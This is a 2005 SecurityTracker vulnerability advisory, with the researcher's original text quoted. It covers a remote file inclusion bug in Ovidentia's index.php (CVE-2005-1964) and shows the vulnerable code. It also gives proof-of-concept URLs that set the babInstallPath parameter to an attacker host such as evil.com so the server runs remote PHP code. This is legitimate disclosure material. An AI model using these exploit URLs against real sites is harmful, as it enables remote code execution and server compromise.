SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Forum/Board/Portal)  >   Ovidentia Vendors:   Cantico
Ovidentia Include File Bug in 'index.php' Lets Remote Users Execute Arbitrary Commands
SecurityTracker Alert ID:  1014149
SecurityTracker URL:  http://securitytracker.com/id/1014149
CVE Reference:   CVE-2005-1964   (Links to External Site)
Updated:  Nov 2 2008
Original Entry Date:  Jun 9 2005
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  

Description:   Status-x reported a vulnerability in Ovidentia. A remote user can execute arbitrary commands on the target system.

The 'index.php' script includes the 'utilit/utilit.php' script without properly validating user-supplied input in the 'babInstallPath' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[target]/ovidentia/index.php?babInstallPath=http://[attacker]

The vendor was notified without response.

The original advisory is available at:

http://www.defacers.com.mx/advisories/5.txt

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.ovidentia.org/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Ovidentia Portal File Include Flaw Lets Remote Users Execute Arbitrary Code


#####################################################################
Ovidentia Portal Version X.X Remote File Include
Affected Script: index.php
Vendor: http://www.ovidentia.org
Vendor Response: I wrote to the vendor but didnt replied
Vendor Confirmed: No but i confirmed  ;) 

Http://www.defacers.com.mx/advisories/5.txt - Advisory #5

Author: Status-x             E-mail: phr4xz@gmail.com

####################################################################

-=[ Introduction ]=-

####################################################################


Ovidentia Portal its a web content manager which has many tools for

the webmaster, like weblinks, articles, mailers, and calendar.

It can be downloaded in: www.ovidentia.org


Cause the vendor didnt replied i decided to make public the advisory


####################################################################

-=[ Vulnerability ]=-

####################################################################


As always in the file include flaw there is one variable not defined

properly in the source code of the index.php file from the Ovidentia

main DIR, an attacker can include files and execute arbitrary code


####################################################################

-=[ Vuln Code ]=-

####################################################################


The affected code its in the index.php file lets take a look


- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
$babSiteName = substr($babSiteName, 0, 30);
include_once "base.php";
include $babInstallPath."utilit/utilit.php"; <--- vuln
unset($BAB_SESS_LOGGED);

$babPhpSelf = substr($PHP_SELF,-strpos(strrev($PHP_SELF),'/'));
$babUrlScript = $babUrl.$babPhpSelf;
$babAddonsPath = $GLOBALS['babInstallPath']."addons/";

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 

As we see the $babInstallPath its not correctly defined, cause its

defined after it is used


####################################################################

-=[ Proof Of Concept ]=-

####################################################################


For successful explotation a remote attacker can create a special

built URL:


http://site.com/ovidentia/index.php?babInstallPath=http://evil.com


As a result the server and the website will be highly compromised


####################################################################

-=[ ShoutZ ]=-

####################################################################


Defacers Mexico Website and Forum Posters - and all my contacts

from MSN -  Siegried  - Pablin77


####################################################################

-=[ Fix And Contact ]=-

####################################################################

There was no solution at the time of publishing this advisory you

should look at www.ovidentia.org.


Credits and Contact:

This vulnerability was discovered by Status-x | phr4xz@gmail.com

Http://www.defacers.com.mx

08 June 2005
 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC